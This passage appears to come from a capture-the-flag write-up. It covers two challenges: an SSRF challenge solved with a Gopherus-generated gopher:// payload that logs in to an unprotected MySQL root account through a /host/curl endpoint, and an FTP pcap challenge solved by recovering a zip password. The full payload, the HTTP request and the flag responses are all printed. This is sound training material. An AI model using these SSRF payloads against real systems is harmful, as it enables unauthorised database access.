Date: Fri, 26 Nov 2021 06:24:15 GMT
HTTP/1.1 200 OK
Server: nginx/1.21.4
Date: Fri, 26 Nov 2021 06:24:15 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
X-Powered-By: PHP/5.6.40
Set-Cookie: PHPSESSID=d98365d1817dd9c2829f3dc9ec8bbffb; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
<!DOCTYPEE html>
<html>
<head>
<meta charset="UTF-8">
</head>
<body>
<div class="message"></div>
<form action="index.php" method="post">
<p>
username: <input type="text" name="username" value="user1">
</p>
<p>
password: <input type="password" name="password">
<!-- ...password 1234 -->
</p>
<input type="submit" value="send">
</form>
</body>
</html>
Since the root
user had no password, we can generate a gopher payload to perform an
interactionless login to the mysql backend with gopherus and perform the select * from ctf.flag
SQL query.
$ python2 gopherus.py --exploit mysql
________ .__
/ _____/ ____ ______ | |__ ___________ __ __ ______
/ \ ___ / _ \\____ \| | \_/ __ \_ __ \ | \/ ___/
\ \_\ ( <_> ) |_> > Y \ ___/| | \/ | /\___ \
\______ /\____/| __/|___| /\___ >__| |____//____ >
\/ |__| \/ \/ \/
author: $_SpyD3r_$
For making it work username should not be password protected!!!
Give MySQL username: root
Give query to execute: select * from ctf.flag;
Your gopher link is ready to do SSRF :
gopher://127.0.0.1:3306/_%a3%00%00%01%85%a6%ff%01%00%00%00%01%21%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%72%6f%6f%74%00%00%6d%79%73%71%6c%5f%6e%61%74%69%76%65%5f%70%61%73%73%77%6f%72%64%00%66%03%5f%6f%73%05%4c%69%6e%75%78%0c%5f%63%6c%69%65%6e%74%5f%6e%61%6d%65%08%6c%69%62%6d%79%73%71%6c%04%5f%70%69%64%05%32%37%32%35%35%0f%5f%63%6c%69%65%6e%74%5f%76%65%72%73%69%6f%6e%06%35%2e%37%2e%32%32%09%5f%70%6c%61%74%66%6f%72%6d%06%78%38%36%5f%36%34%0c%70%72%6f%67%72%61%6d%5f%6e%61%6d%65%05%6d%79%73%71%6c%18%00%00%00%03%73%65%6c%65%63%74%20%2a%20%66%72%6f%6d%20%63%74%66%2e%66%6c%61%67%3b%01%00%00%00%01
-----------Made-by-SpyD3r-----------
Sending this payload through the /host/curl
endpoint gave us our flag.
POST /host/curl HTTP/1.1
Host: 176.32.76.86:5000
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36
Accept: application/json, text/plain, */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/json
Content-Length: 632
Origin: http://176.32.76.86
Connection: close
Referer: http://176.32.76.86/
{
"host": "gopher://mysql:3306/_%a3%00%00%01%85%a6%ff%01%00%00%00%01%21%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%72%6f%6f%74%00%00%6d%79%73%71%6c%5f%6e%61%74%69%76%65%5f%70%61%73%73%77%6f%72%64%00%66%03%5f%6f%73%05%4c%69%6e%75%78%0c%5f%63%6c%69%65%6e%74%5f%6e%61%6d%65%08%6c%69%62%6d%79%73%71%6c%04%5f%70%69%64%05%32%37%32%35%35%0f%5f%63%6c%69%65%6e%74%5f%76%65%72%73%69%6f%6e%06%35%2e%37%2e%32%32%09%5f%70%6c%61%74%66%6f%72%6d%06%78%38%36%5f%36%34%0c%70%72%6f%67%72%61%6d%5f%6e%61%6d%65%05%6d%79%73%71%6c%18%00%00%00%03%73%65%6c%65%63%74%20%2a%20%66%72%6f%6d%20%63%74%66%2e%66%6c%61%67%3b%01%00%00%00%01"
}
Response received:
HTTP/1.0 200 OK
Content-Type: text/html; charset=utf-8
Content-Length: 224
Access-Control-Allow-Origin: *
Access-Control-Allow-Headers: Content-Type,Authorization
Access-Control-Allow-Methods: GET,PUT,POST,DELETE,OPTIONS
Server: Werkzeug/2.0.2 Python/3.6.9
Date: Fri, 26 Nov 2021 06:31:16 GMT
J
5.7.366PQnMH^U����"!fYAETxamysql_native_password%defctfflagflagidid?)defctfflagflagflagflag!Z�1flag{e9ces9p4z9jrai9c3zrs}�"
Flag: flag{e9ces9p4z9jrai9c3zrs}
Way
Attachment: Way_8688e1a1263c414450b12985e0d5620b.pcapng
Enigmatrix solved this challenge.
Investigating the protocol hierarchy within the pcap file shows that almost the entire thing is composed of FTP traffic.
Looking at the TCP stream shows that two files are retrieved:
- FLAG.zip
- passmemo.txt
220 Microsoft FTP Service
OPTS UTF8 ON
200 OPTS UTF8 command successful - UTF8 encoding now ON.
USER ftpuser
331 Password required
PASS Pass#ftp18
230 User logged in.
PORT 192,168,11,242,78,73
200 PORT command successful.
LIST
125 Data connection already open; Transfer starting.
226 Transfer complete.
TYPE I
200 Type set to I.
PORT 192,168,11,242,78,74
200 PORT command successful.
RETR FLAG.zip
125 Data connection already open; Transfer starting.
226 Transfer complete.
PORT 192,168,11,242,78,77
200 PORT command successful.
RETR passmemo.txt
125 Data connection already open; Transfer starting.
226 Transfer complete.
QUIT
221 Goodbye.
Looking at the passmemo.txt
FTP data tcp stream shows that the text file retrieved contains a
password to the FLAG.zip
file.
[File] [Password]
FLAG.zip Do_you_use_FTP?
Instead of manually dumping the data from the pcap, using binwalk can help save a few seconds. This gives us an encrypted zip file.
$ find _Way_8688e1a1263c414450b12985e0d5620b.pcapng.extracted
_Way_8688e1a1263c414450b12985e0d5620b.pcapng.extracted
_Way_8688e1a1263c414450b12985e0d5620b.pcapng.extracted/FLAG.GIF
_Way_8688e1a1263c414450b12985e0d5620b.pcapng.extracted/10BE.zip
Using the password we obtained earlier gives us a FLAG.GIF file.
$ unzip _Way_8688e1a1263c414450b12985e0d5620b.pcapng.extracted/10BE.zip
Archive: _Way_8688e1a1263c414450b12985e0d5620b.pcapng.extracted/10BE.zip
[_Way_8688e1a1263c414450b12985e0d5620b.pcapng.extracted/10BE.zip] FLAG.GIF password:
inflating: FLAG.GIF
This file contains the flag.
Flag: flag{It's_dangerous_to_use_FTP}
Leave a Comment